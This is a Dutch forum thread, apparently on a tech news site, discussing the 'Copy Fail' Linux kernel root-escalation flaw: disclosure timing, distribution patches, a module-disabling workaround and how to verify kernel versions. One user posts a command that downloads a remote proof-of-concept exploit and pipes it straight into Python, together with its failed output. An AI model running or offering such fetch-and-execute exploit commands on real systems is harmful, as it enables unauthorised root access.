Update your distribution's kernel package to one that includes mainline commit a664bf3d603d — it reverts the 2017 algif_aead in-place optimization, so page-cache pages can no longer end up in the writable destination scatterlist. Most major distributions are shipping the fix now.

[RoestVrijStaal]

Dat script zo erg geobfuscated dat het onverstandig is om het uit te voeren.

[ApexAlpha]

Sorry maar dit klopt niet. Er is geen contact geweest met Distro maintainers. Dat de Linux kernel zelf al gepatched is klopt maar zonder heads up naar distro's is er nog geen patch beschikbaar op moment van uitbrengen van de exploit, en dat is gewoon ongehoord onverantwoord.

[HollowGamer]

Er is toch ook gewoon een algemene CVE database? Ik dacht dat daar de meeste bedrijven (Red Hat, Canonical, etc.) allemaal op zitten.

Is het daar niet gemeld?

[lenwar]

Ze hebben het meer dan een maand geleden aan de kernel-maintainer gestuurd die het gepatched heeft.

Dit is een CVE 7.8, je zou mogen verwachten dat dit wat sneller wordt opgepakt door alle partijen in deze tijd van exploits, malware en ransomware.

Zeker een partij als Red Hat. Bedrijven betalen goed geld voor hun spul.

[ApexAlpha]

De kernel maintainer heeft geen contact met de distro, RedHat kwam er samen met ons pas achter blijkbaar.

[Lagonas]

Dat lijkt me niet helemaal de waarheid gezien ze hem zelf op 22 April hebben gepost, en de website eergisteren online is gekomen. CVE-2026-31431 - Red Hat Customer Portal, en ook hebben ze nog een security bulletin gepost; RHSB-2026-02 Cryptographic Subsystem Privilege Escalation- Linux Kernel - (CVE-2026-31431) | Red Hat Customer Portal

[Reactie gewijzigd door Lagonas op 1 mei 2026 08:48]

[ApexAlpha]

https://www.openwall.com/lists/oss-security/2026/04/30/10

Note that for Linux kernel vulnerabilities, unless the reporter chooses
to bring it to the linux-distros ML, there is no heads-up to
distributions.

It did not happen here.

Hier direct van een mainter van Gentoo. Hier een mailwisseling met de maintainer van Linux: https://www.openwall.com/lists/oss-security/2026/05/01/3

[Lagonas]

Ja, ik denk dat hier een misverstand is.

RedHat kwam er samen met ons pas achter blijkbaar.

Ik reageer specifiek op jouw claim dat redhat van niks wist tot het domein actief ging en dat dat in mijn beeld niet klopt.

[Reactie gewijzigd door Lagonas op 1 mei 2026 09:08]

[GertMenkel]

[2026-03-23] Vulnerability reported to Linux kernel security team
[2026-03-24] Initial acknowledgment received
[2026-03-25] Patches proposed and reviewed
[2026-04-01] Patches committed to mainline kernel
[2026-04-22] CVE-2026-31431 assigned
[2026-04-29] Public disclosure (this article)

Ik vind het geen hele gekke tijdlijn, hoor. De patches (en daarmee de kwetsbaarheid) zijn al een maand lang op internet te vinden. Als de slopmakers deze bug kunnen vinden, kunnen andere sloperators helemaal makkelijk de bug vinden ("chatgpt zoek de kwetsbaarheden die de afgelopen maand mainline Linux zijn opgelost op basis van de veranderingen van de code").

Dat RHEL nog steeds geen patch heeft is schandalig natuurlijk, maar dan vooral van Red Hat zelf aangezien de fix uit is, eenvoudig is, en drie dagen geleden alle details al op internet zijn verschenen. De meeste distro's zijn op deze manier te beveiligen mocht je vendor nog steeds geen updates hebben:

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead

[Reactie gewijzigd door GertMenkel op 1 mei 2026 12:55]

[ApexAlpha]

De patches (en daarmee de kwetsbaarheid) zijn al een maand lang op internet te vinden.

Met alle respect maar dit is niet een willekeurig projectje.

Er zijn tientalenn versies in omloop van de Linux kernel. De mainline kernel had de patch ja. LTS? Nog niks.

Waar draait het overgrote deel op? LTS.

Dat RHEL nog steeds geen patch heeft is schandalig natuurlijk, maar dan vooral van Red Hat zelf aangezien de fix uit is, eenvoudig is, en drie dagen geleden alle details al op internet zijn verschenen.

Wat een parel van een uitspraak. U bent projectmanager bij de overheid in het dagelijkse leven?

[GertMenkel]

Heel leuk dat Linux niet zomaar een projectje is, maar dit is nu eenmaal de reden dat mensen Red Hat en Canonical betalen. Linux zelf heeft weinig ambities voor het ondersteunen van overheden of bedrijven, die maken slechts een kernel die iedereen moet kunnen gebruiken.

LTS krijgt weinig patches. Dat staat ook op de pagina van de LTS-versies. In tegenstelling tot producten, kun je er bij Linux niet van uitgaan dat je LTS-kernels goed genoeg ondersteund worden voor professioneel gebruik. Daar heb je als gebruiker van de kernel, of distro-aanbieder zelf een verantwoordelijkheid in.

Dit heeft normaal juist niks met projectmanager zijn te maken, de reactie op dit probleem is tweevoudig: de kwetsbaremodule uitschakelen als mitigatie, of een (relatief) kleine patch op de kernel toepassen. Ubuntu heeft die patches al gemaakt en verspreid, die kan Red Hat zo overnemen als het goed is.

De projectmanager van de overheid hoeft als het goed is alleen maar de kernels bij te werken en een rolling reboot door het cluster door te voeren. Juist nu, omdat RHEL te laat is met hun patches, moeten klanten van Red Hat zelf achter de zaken aan gaan.

[ApexAlpha]

Ik denk dat je wat info mist om het beeld juist te hebben.

De Linux organisatie zelf brengt LTS versies uit van de Linux kernel. Zelfs DIE LTS VERSIES hadden nog geen patch.

Meer info: https://www.kernel.org/category/releases.html

LTS krijgt weinig patches. Dat staat ook op de pagina van de LTS-versies. In tegenstelling tot producten, kun je er bij Linux niet van uitgaan dat je LTS-kernels goed genoeg ondersteund worden voor professioneel gebruik. Daar heb je als gebruiker van de kernel, of distro-aanbieder zelf een verantwoordelijkheid in.

??????

Een LTS-kernel is juist wél bedoeld om ervan uit te kunnen gaan dat ze ondersteund worden: Long Time Support.

Ik heb dit nu 5x gelezen en ik snap oprecht niet wat je hier mee bedoelt. Kun jij uitleggen wat jij denkt dat LTS is? Want volgens mij verwar je het met iets totaal anders.

[Reactie gewijzigd door ApexAlpha op 1 mei 2026 15:27]

[GertMenkel]

De LTS bij veel stukken software is een stuk software dat langdurig support krijgt op dezelfde manier dat de hoofdbranche dat krijgt.

Bij de Linuxkernel is dat niet het geval. Niet alle bugfixes worden gebackport, en de tijdlijn voor de releases is anders (als in, er zijn wel regelmatig releases, maar niet alles komt er zo snel in).

Zoals je zelf opmerkt brengt de Linux Foundation deze zelf uit en hebben ze zelf de patch voor deze kwetsbaarheid niet gebackport, ondanks dat dat natuurlijk wel had gekund. Sterker nog, het komt wel vaker voor dat de upstream LTS securitypatches niet krijgt omdat dat potentieel stabiliteit in gevaar brengt.

Als je professionele ondersteuning wilt waarbij dit wel voor je gebeurt, moet je maar commerciële partijen kijken. De LTS-versie van Linux is meer voor de Qualcomms en Googles van deze wereld die er zelf een eigen versie van kunnen maken. Het kan nog wel eens even duren voor de LTS-backports uit zijn van de Linux Foundation zelf. Er zijn geen beloofde support windows of garanties dat je patches binnen zijn op het moment dat een kwetsbaarheid uitkomt.

[Reactie gewijzigd door GertMenkel op 1 mei 2026 19:55]

[Polderviking]

Het is geen gekke tijdlijn, maar die disclosure tijdlijn bestaat zodat er gepatched kan worden. Die tijdlijn is op zichzelf geen doel maar ter ondersteuning van een doel.

In dit geval gaat het om de linux kernel, die moet gepatched worden, en dan moet dat downstream opgepakt worden door deze en gene.
Ik zou niet weten waarom daaar geen rekening mee gehouden kon worden, anders dan dat daar wat ongeduldigheid achter zit voor het ontvangen van erkenning voor de ontdekkers.

[Reactie gewijzigd door Polderviking op 1 mei 2026 13:49]

[GertMenkel]

Als het puur on erkenning ging, had de kwetsbaarheid ook de wereld in kunnen worden gegooid zonder patches.

De kernel is gepatcht. Als ik de policy hier lees: https://docs.kernel.org/process/security-bugs.html

Please note that the respective policies and rules are different since the 3 lists pursue different goals. Coordinating between the kernel security team and other teams is difficult since for the kernel security team occasional embargoes (as subject to a maximum allowed number of days) start from the availability of a fix, while for “linux-distros” they start from the initial post to the list regardless of the availability of a fix.

As such, the kernel security team strongly recommends that as a reporter of a potential security issue you DO NOT contact the “linux-distros” mailing list UNTIL a fix is accepted by the affected code’s maintainers and you have read the distros wiki page above and you fully understand the requirements that contacting “linux-distros” will impose on you and the kernel community. This also means that in general it doesn’t make sense to Cc: both lists at once, except maybe for coordination if and while an accepted fix has not yet been merged. In other words, until a fix is accepted do not Cc: “linux-distros”, and after it’s merged do not Cc: the kernel security team.

snap ik wel waarom je niet met die onzin bezig zou willen zijn. De kernelmaintainers zelf vinden het coördineren al moeilijk.

Je kunt er wel rekening mee houden, maar uiteindelijk is het toch echt de verantwoordelijkheid van de distromakers om hun beveiliging op orde te hebben.

[Polderviking]

Als het puur on erkenning ging, had de kwetsbaarheid ook de wereld in kunnen worden gegooid zonder patches.

Had gekund, maar als als je die disclusure periode's, of uberhaupt disclosure helemaal negeert denk ik dat niemand je meer serieus neem als white hat.

snap ik wel waarom je niet met die onzin bezig zou willen zijn. De kernelmaintainers zelf vinden het coördineren al moeilijk.

Ik snap niet zo goed wat er moeilijk is aan dat verhaal.

Je kunt er wel rekening mee houden, maar uiteindelijk is het toch echt de verantwoordelijkheid van de distromakers om hun beveiliging op orde te hebben.

Dat die distromakers dat moeten regelen staat buiten kijf, en misschien ga ik ook wel mee in dat ze gebrekkig zijn in deze, maar heeft verder weinig van doen met waar ik tegen ageer in deze.
Eindgebruikers van die distro's moeten hun systemen kunnen veiligstellen, dat is het nut van die cooldown voordat je dit soort dingen publiceert.
Premature publicatie kweek je gewoon onnodig risico mee. Ook al is het niet je "verantwoordelijkheid".

Als jij bij een rood stoplicht besluit het wachten beu bent en optrekt en door rood fietst of rijdt is het ook niet jou verantwoordelijkheid dat mensen uit een soort pavlov reactie je achterna rijden.
Ze moeten immers zelf op het stoplicht letten.
Maar je bent evengoed nog wel een beetje een lul de behanger met zo'n actie.
Zo kijk ik ook een beetje hier tegenaan.

[Reactie gewijzigd door Polderviking op 1 mei 2026 18:55]

[GertMenkel]

De disclosure eindigt normaliter nadat de (broncode van de) patch geopenbaard wordt. In Linux was dat ongeveer een maand geleden, toen de fix de wereld in werd geslingerd. De disclosure periode is bijna exact die van Google Project Zero (90 dagen tot de patch uit is, dan 30 dagen grace period). Kwetsbaarheden in Windows worden ook niet stilgehouden tot alle MRI-machines die toevallig op Windows draaien hun officiële updates hebben gehad.

Heel vervelend dat mensen nu vlak voor het weekend moeten patchen, en het zou ook een stuk aardiger zijn om eventjes te wachten, maar iedereen die gisteren patchte heeft een volledige maand gedraaid met een kernel die iedereen met toegang tot git had kunnen misbruiken.

Onder de streep heeft dit slopbedrijf hun bevinding gratis en voor niets gepubliceerd en krijgt het nu stank voor dank omdat hun gratis verdienste niet goed genoeg is.

[Reactie gewijzigd door GertMenkel op 1 mei 2026 20:43]

[Polderviking]

Kwetsbaarheden in Windows worden ook niet stilgehouden tot alle MRI-machines die toevallig op Windows draaien hun officiële updates hebben gehad.

Dit punt dat je niet op "alles" kan wachten komt vaker terug, maar ik heb hier al toegelicht waarom ik dat niet zo'n sterk argument vind.

Onder de streep heeft dit slopbedrijf hun bevinding gratis en voor niets gepubliceerd en krijgt het nu stank voor dank omdat hun gratis verdienste niet goed genoeg is.

Dit is ergens fair, al vind ik stank voor dank wel ver gaan. Ik noem ze geen slop.
En het kan niet zo zijn dat je helemaal geen kritiek meer mag uiten omdat de persoon waar je kritiek voor hebt iets gratis doet, zeker niet als je kan beargumenteren dat dat negatieve effecten of zelfs schade veroorzaakt die je niet hoeft te hebben.

Overigens, je zegt gratis, ik zou het verbazend vinden als ze niet gewoon (misschien zefls erg stevige) verdiensten zien uit bugbounty programma die bijvoorbeeld Google heeft voor de Linux kernel.

[Reactie gewijzigd door Polderviking op 1 mei 2026 21:12]

[Cambionn]

Dat RHEL nog steeds geen patch heeft is schandalig natuurlijk, maar dan vooral van Red Hat zelf aangezien de fix uit is, eenvoudig is, en drie dagen geleden alle details al op internet zijn verschenen. De meeste distro's zijn op deze manier te beveiligen mocht je vendor nog steeds geen updates hebben:

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead\

Dit is een workaround die ook best wat problemen kan geven, geen fix. Het klinkt eenvoudig, tot je issues krijgt (van performance issues tot bootloops). Da's niet iets wat een Red Hat zo ff kan uitrollen als patch, hooguit met waarschuwing als workaround kan geven tot de echte patch uit is.

De echte fix is een kernel update, en dat is dus weer niet zo simpel. Die is inmiddels uit (kernel v6.18.22+, v6.19.12+ en v7.0+), maar wanneer distro's dingen aan de kernel aangepast hebben (en dat hebben de meesten) zullen ze dus de hele kernel moeten updaten.

[GertMenkel]

Canonical heeft de patch al uitgerold, ook al is dat lastig te zien aangezien ze ge-DDoS'ed worden.

Op zich is de patch zelf voor een wijziging op kernelniveau ook niet heel extreem complex voor een lek van deze impact: een specifieke optimalisatie die de bug introduceerde wordt gerevert. De functionaliteit verandert daardoor niet, de performance zal wat zakken, maar lang niet zoveel als zonder de acceleratie.

[Cambionn]

Tja, Arch is inmiddels al 3 kernel updates geleden veilig, als er vanacht niet weer een update is geweest. Debian had toen ik gister keek enkel in unstable de fix.

Het komt met spoed, maar kan per distro verschillen. Ik verwacht dat alle grote distros binnen een week de boel uitrollen, en dat is op zich best snel en laat se haast zien. Maar hoe snel precies verschilt aan de hand van mankracht en gedachtegang achter de distro. Hoe conservatiever of hoe meer op stabiliteit en/of profesionele support gefocussed, hoe langer (bijv. ivm testen voor release). Kan me indenken dat een Red Hat dan idd niet de eerste is die het uitrolt.

Verder is get niet zo moeilijk idd, maar een kernel update uitrollen is wel een ander niveau, met andere mogelijke impact, dan een terminal commando om een module uit te schakelen.

[Reactie gewijzigd door Cambionn op 2 mei 2026 11:01]

[Argantonis]

Wat grappig van je dat je het nog steeds slop noemt. Het vindt zelfstandig een zeer ernstige root exploit in Linux. Ik denk dat de tijden van slop wel een beetje voorbij zijn hé.

[arjankoole]

de exploit is pas gepubliceerd een volle maand na initial disclosure.

[RoestVrijStaal]

Het lijkt erop dat het een strategie is van het bedrijf theori die met hun Xint Code AI die exploit gevonden heeft, om hun product te pluggen.

"Kijk, onze AI heeft zoiets gevaarlijks gevonden. Wees net zo snel als ons bij de tijd. Koop een abbo op onze Xint service".

[Reactie gewijzigd door RoestVrijStaal op 1 mei 2026 21:50]

[The Zep Man]

Gebaseerd op de patch die dit introduceerde en de patch die dit wegneemt: een vuistregel is dat elke kernel gecompileerd tussen 9 augustus 2017 en 31 maart 2026 kwetsbaar is. Dit is een vuistregel omdat op een later moment natuurlijk een oudere (juist niet of wel kwetsbare) kernelversie gecompileerd kan worden, maar gezien de periode die dit beslaat is dit een goed te hanteren regel voor de komende jaren. Deze vuistregel helpt ook omdat er verschillende major versions van de kernel tegelijkertijd ondersteund worden, wat verwarring kan opleveren.

Om te weten wanneer je kernel gecompileerd is, draai in een shell:
uname -v

[Reactie gewijzigd door The Zep Man op 1 mei 2026 08:50]

[divvid]

lijkt er op dat de ubunu update servers het zwaar hebben

Cannot initiate the connection to ppa.launchpad.net:80

[Regn0]

Gisteren updates geïnstalleerd op mijn Kubuntu installatie. Daar zat volgens mij nieuwe kernel met versie 6.18-111 tussen.

Nu probeer ik te achterhalen of daar al een fix in zit, echter liggen al meerdere uren bepaalde services van Canonical plat?

https://status.canonical.com

[ShadowLord]

In 6.18-111 zit de 'fix': uitschakeling van de problematische module.

Helaas wordt Ubuntu op dit moment aangevallen met een DDoS, dus is het ophalen van die informatie wat lastig.

Correctie: De fix zit o.a. in kernel 6.8.0-111 (Ubuntu 22.04). Ik weet niet of je die bedoelde?

[Reactie gewijzigd door ShadowLord op 1 mei 2026 11:01]

[Regn0]

Nee die bedoelde ik niet. Ik draai Ubuntu 24.04 namelijk.

Kan thuis pas weer kijken wat er precies geïnstalleerd is, maar weet vrij zeker dat de package versie 6.18-111 was.

edit:
`uname -a` laat inderdaad zien dat versie: 6.8.0-111-generic geinstalleerd is!

[Reactie gewijzigd door Regn0 op 1 mei 2026 22:33]

[treris]

Jup, krijg hier ook time-outs en alles

[Zidane007nl]

Ik lees dat er een DDoS aanval gaande is: https://www.omgubuntu.co....untu-websites-ddos-attack.

Updaten lukte net wel, maar PPA's had APT moeite mee.

[lenwar]

En zelfs dan weet je het niet zeker. Als de distroboer op dag 1 de code ophaalt bij kernel.org, en pas op dag 14 in een package uitbrengt, dan kun je nog steeds overlap hebben.

Al met al is het gewoon een goed idee om snel te patchen, nu dit bekend is.

[Kjoe_Ljan]

Snel patchen is altijd een goed idee.

[The Zep Man]

Ik zou hiervan maken: zo snel mogelijk. Het is sowieso verstandig om een goed testtraject te hebben. Dit soort kwetsbaarheden zijn niet het enige risico.

[lenwar]

Ik zou hiervan maken: zo snel mogelijk.

Precies dit. En mogelijk is hier uiteraard 'Wanneer het ook daadwerkelijk 'kan''. Je kunt niet tegen een chirurg zeggen. Houd dat hart even je in je hand, we moeten een kernel-update uitvoeren . Of tegen een financiële instelling zeggen. "Die 47 miljard moet even 5 minuutjes later" worden doorgevoerd, ook al geeft internationale regelgeving je maar 35 seconden. (ik verzin maar wat.)

En inderdaad is een test- en controletraject ook belangrijk. (voor functionele consequenties)

[scsirob]

Daar zijn veel professionele organisaties het niet mee eens. Elke 'snelle' patch kan een regressie met veel grotere gevolgen veroorzaken. In gevallen als dit is mitigeren in productie en testen in de ontwikkelomgeving verstandig.

[eheijnen]

In een geval als dit wel.

Maar doorgaans is het beter om de kat even uit de boom te kijken. Dan stap je vaak over slechte patches heen. Zoals bijvoorbeeld laatst met die reboot loop op Windows Controllers.

[punishedbrains]

Daar zijn 2 stromingen in. Gezien de vele hacks de laatste tijd, ben ik juist terughoudend met meteen updaten van een online server hier thuis. Het heeft een beetje te maken met het type bug, deze zou ik dan gemist hebben idd. Maar de laatste paar keer waren dat hacks via CI/CD pijplijnen of update processen die je normaal niet verwacht en doordat ik niet meteen update, had ik daar geen last van. Stabiliteit is een ander punt om niet te snel te zijn.

Mijn gewone laptop draait een altijd up-to-date OS, maar dat vind ik weer net een iets ander verhaal dan een server. Ik let uiteraard wel heel goed op en volg security researchers zodat ik snel bij de server kan handelen. Zo had ik 15 uur na bekend worden van deze bug de boel gepatched.

[Kjoe_Ljan]

Yep, gek genoeg had ik alleen de PC/laptop stroming in m'n hoofd, omdat ik Linux gebruik als daily driver. Tegenwoordig zowel op m'n thuis pc, als op m'n werk-laptop.

Maar het gros van de Linux installaties zal inderdaad draaien op servers, en dan wil je iets voorzichtiger zijn.
My bad.

[punishedbrains]

No worries, er is voor beiden altijd wat te zeggen.

[dasiro]

Een paar weken terug hadden we al een privilege escalation naar SYSTEM in Windows en nu een privilege escalation naar ROOT in Linux.

Telkens op oudere onderdelen, wat het belang van constante en volledige code-reviews nog maar eens onderstreept. Het is pijnlijk duidelijk aan het worden dat het menselijke brein niet meer in staat is om zijn eigen creaties goed te onderhouden en AI-tools met een grote context niet meer gewoon nodig zijn, maar bijna een vereiste om je met dezelfde wapens te kunnen verdedigen als waarmee aanvallers (potentieel kunnen) werken.

[BeosBeing]

Telkens op oudere onderdelen, wat het belang van constante en volledige code-reviews nog maar eens onderstreept.

Hoe oud deze onderdelen zijn heb ik niet onderzocht. In ieder geval zit in Windows nog veel code die stamt uit de tijd dat exploits en malware heel anders bekeken werd.

Het is pijnlijk duidelijk aan het worden dat het menselijke brein niet meer in staat is om zijn eigen creaties goed te onderhouden ...

Hoe omvangrijker code wordt, hoe lastiger het voor de mens is dit te overzien. Als het met ouder Linux-code - die al van het begin al ontwikkeld was voor gebruik door meerdere gebruikers en voorzien van meerdere veiligheidsniveau's dus een probleem is, hoeveel meer gaat dit zijn met modernere, omvangrijkere code.

en AI-tools met een grote context niet meer gewoon nodig zijn, maar bijna een vereiste om je met dezelfde wapens te kunnen verdedigen als waarmee aanvallers (potentieel kunnen) werken.

Die stap moet nu echt gemaakt worden, en ook om code minder complex te maken.

[dasiro]

Hoe oud deze onderdelen zijn heb ik niet onderzocht. In ieder geval zit in Windows nog veel code die stamt uit de tijd dat exploits en malware heel anders bekeken werd.

Bluehammer maakt misbruik van Defender en is te gebruiken op Windows 10/Server 2016. Een goeie 10 jaar oud dus en Copy Fail in kernel 4.14 uit 2017 dus iets recenter, maar wel ongeveer dezelfde periode. In IT-termen is dat echter al een eeuwigheid, maar zelfs toen al waren exploits en malware ook al een tiental jaar zéér wijd verspreid.

Het is pas nu dat er volledig geautomatiseerde codereviews mogelijk zijn die dan ook nog eens focussen op misbruik en niet zozeer op correct functioneren, iets wat bij regressietesten nog wel eens vergeten wordt.

[BeosBeing]

Bluehammer maakt misbruik van Defender en is te gebruiken op Windows 10/Server 2016. Een goeie 10 jaar oud dus en Copy Fail in kernel 4.14 uit 2017 dus iets recenter, maar wel ongeveer dezelfde periode. In IT-termen is dat echter al een eeuwigheid, maar zelfs toen al waren exploits en malware ook al een tiental jaar zéér wijd verspreid.

Windows heeft onderdelen die nog veel ouder zijn. De huidige versies zijn 64-bits, maar de eerste Windows 64-bits code dateert van 2003 en er zal vast wel oudere code geport zijn naar 64-bits. Hoewel de vraag is hoeveel er daarvan nog in de huidige versies zit, is er zeker nog aanwezig. Moderner is ook niet per sé beter. Gezien het feit dat het aantal bugs per x-aantal regels code een vast gegeven is, moet je in nieuwere, omvangrijkere code meer bugs verwachten Verwacht dus dat er meer bugs in Word 2024 zitten dan in Word 95. Wel een belangrijk verschil is natuurlijk dat in de nieuwere/nieuwste versie de bekende beveiligingsgaten gedicht zijn. Ik pleit dus niet voor het gebruik van oude versies maar wel om de nieuwe versies terug kleiner te maken. Minder lijnen code betekent dan immers automagisch minder bugs.

Het is pas nu dat er volledig geautomatiseerde codereviews mogelijk zijn die dan ook nog eens focussen op misbruik en niet zozeer op correct functioneren, iets wat bij regressietesten nog wel eens vergeten wordt.

Het verbaast men dan ook lichtelijk dat ik eerst vernam dat de malafide actoren dit al op grote schaal toepasten om gaten te vinden en dat software makers dat blijkbaar zelf nog maar net doen (terwijl er wel al een tijde code met AI gemaakt wordt). Ze zou verwachten dat degenen die en OSsen en AI-software maken dat wel al eerder zouden hebben gedaan.

[dasiro]

Windows heeft onderdelen die nog veel ouder zijn. De huidige versies zijn 64-bits, maar de eerste Windows 64-bits code dateert van 2003 en er zal vast wel oudere code geport zijn naar 64-bits. Hoewel de vraag is hoeveel er daarvan nog in de huidige versies zit, is er zeker nog aanwezig. Moderner is ook niet per sé beter.

Modernere code heeft wel al het voorschrijdend inzicht dat er op bepaalde manieren misbruik gemaakt wordt van code en daar zal defensiever in geprogrammeerd zijn dan voordien.

Het verbaast men dan ook lichtelijk dat ik eerst vernam dat de malafide actoren dit al op grote schaal toepasten om gaten te vinden en dat software makers dat blijkbaar zelf nog maar net doen (terwijl er wel al een tijde code met AI gemaakt wordt). Ze zou verwachten dat degenen die en OSsen en AI-software maken dat wel al eerder zouden hebben gedaan.

Microsoft is al wel een tijdje bezig met automated code reviews voor nieuwe code, maar ik veronderstel dat ze dat nog niet op dezelfde schaal deden voor/met de volledige codebase in context.

[BeosBeing]

Modernere code heeft wel al het voorschrijdend inzicht dat er op bepaalde manieren misbruik gemaakt wordt van code en daar zal defensiever in geprogrammeerd zijn dan voordien.

Dat is één aspect van beter. Een ander vaak genoemde is sneller, maar dat is meestal door een cpu/gpu die meer instructies per second afhandelt. Dat kan echter ook door het gebruik van andere/nieuwe api's, library's of nieuwe uitgebreide instructies in nieuwe cpu/gpu's.

Microsoft is al wel een tijdje bezig met automated code reviews voor nieuwe code, maar ik veronderstel dat ze dat nog niet op dezelfde schaal deden voor/met de volledige codebase in context.

Ik heb begrepen dat het eerste AI-gebruik voor code het schrijven zelf was. Code review wordt natuurlijk al langer gedaan - nu met AI - maar was voor zover ik weet primair gericht op bugs, niet zozeer specifiek op exploits. Misschien dat ze dat nu wel prioriteit gaan geven.

[osmosis]

"en, om onduidelijke redenen, Amazon Linux 2023"


Zover ik weet draait AWS daarop, aangezien heel veel grote services afhankelijk zijn van AWS lijkt het mij een best interessante OS om te targetten met deze exploit.

Misschien zit ik fout maar...

[PureTryOut]

Om diezelfde redenen zou Azure Linux en whatever Google Cloud gebruikt ook nuttig zijn dan, maar die zijn niet meegenomen. Dus waarom wel AWS en niet andere is onduidelijk ja.

[batjes]

Waarschijnlijk gebruiken ze zelf AWS.

[meowmofo]

Ze hebben gewoon een 'random' set aan distro's gepakt om aan te tonen dat het overal op werkt.

[Gunner]

Hoe kan je zien dat je de patch aangeboden krijgt? Gewoon via apt update?

[specs2021]

De patch lijkt gisteren verwerkt in 6.12.85 en 6.18.26. Ik verwacht de updates snel via security in de reguliere distributies.

Check de changelog voor bijvoorbeeld de mainstream 6.18.26 update (weinig behalve crypto):

https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.18.26

[ApexAlpha]

Ja

[Domino]

Voor Debian, en ik neem aan op Debian gebaseerde distro's, moet je wel de debian-security repo in je sources.list hebben staan.

Patch is inmiddels beschikbaar: Kernel: Linux 6.12.85+deb13-amd64

[Gunner]

Linux vm-arr 6.12.85+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.85-1 (2026-04-30) x86_64 GNU/Linux


Patched :)

[Reactie gewijzigd door Gunner op 1 mei 2026 09:35]

[divvid]

Op geen van mijn systemen lijkt het te werken ondanks diverse zgn vulnerable kernels.

(wat niet wil zeggen dat het geen probleem is)

Getest: Ubuntu 22.04, 5.15.0-176-generic, met Python 3.10.14, openSuse 5.14.21-150400.24.100-default, Python 3.10.14
Het enige redhat like systeem had alleen python 3.13. werkt ook niet. (Rocky linux 9)

[svennd]

De poc exploit gebruikt python, maar dat is niet nodig. Er is ook een C implementatie te vinden.

[Cartman!]

Mijn NUC draait op Ubuntu 20.04.6 LTS en daar werkt het ook niet:

cartman@nuc:~$ curl https://copy.fail/exp | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 9137 0 --:--:-- --:--:-- --:--:-- 9253
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
AttributeError: module 'os' has no attribute 'splice'

Hopelijk is het toch minder erg als er ook meldingen komen dat het niet werkt. Is al een issue voor aangemaakt zie ik.

Update; het script kan wel aangepast worden zodat het hier wel langs komt.

[Reactie gewijzigd door Cartman! op 1 mei 2026 09:12]

[HollowGamer]

Het is een POC. Dat betekent dat het script kan worden aangepast op basis van de distro/versie/modules.

Het is geen remote exploit, dus zo'n script zou ook een module kunnen installeren.

[eirreb]

tot mijnn weten was er geen Patch nog gisteren, enkel een Temporary Mitigation
CERT-EU - High Vulnerability in the Linux Kernel ("Copy Fail")

ik begrijp overstappen naar nieuwe kernel de oplossing is, maar welke versie was nog niet duidelijk na mijn ervaring.

[StGermain]

• Toevallig gisteren nog een docu gezien over Mythos, een AI die verduiveld sterk is in het opsporen van kwetsbaarheden in software. Toeval dat zowel windows als linux nu in korte tijd hiermee te maken krijgen?

[PolarBear]

Het is makkelijker om bugs/kwetsbaarheden te vinden. Dit was ook wel opgevallen als een mens een code review had gedaan. Alleen deze code zat er al een tijd in, het aantal mensen wat dit soort bugs kan vinden is beperkt. Dus blijft het een hele tijd onder de radar totdat iemand er tegen aan loopt.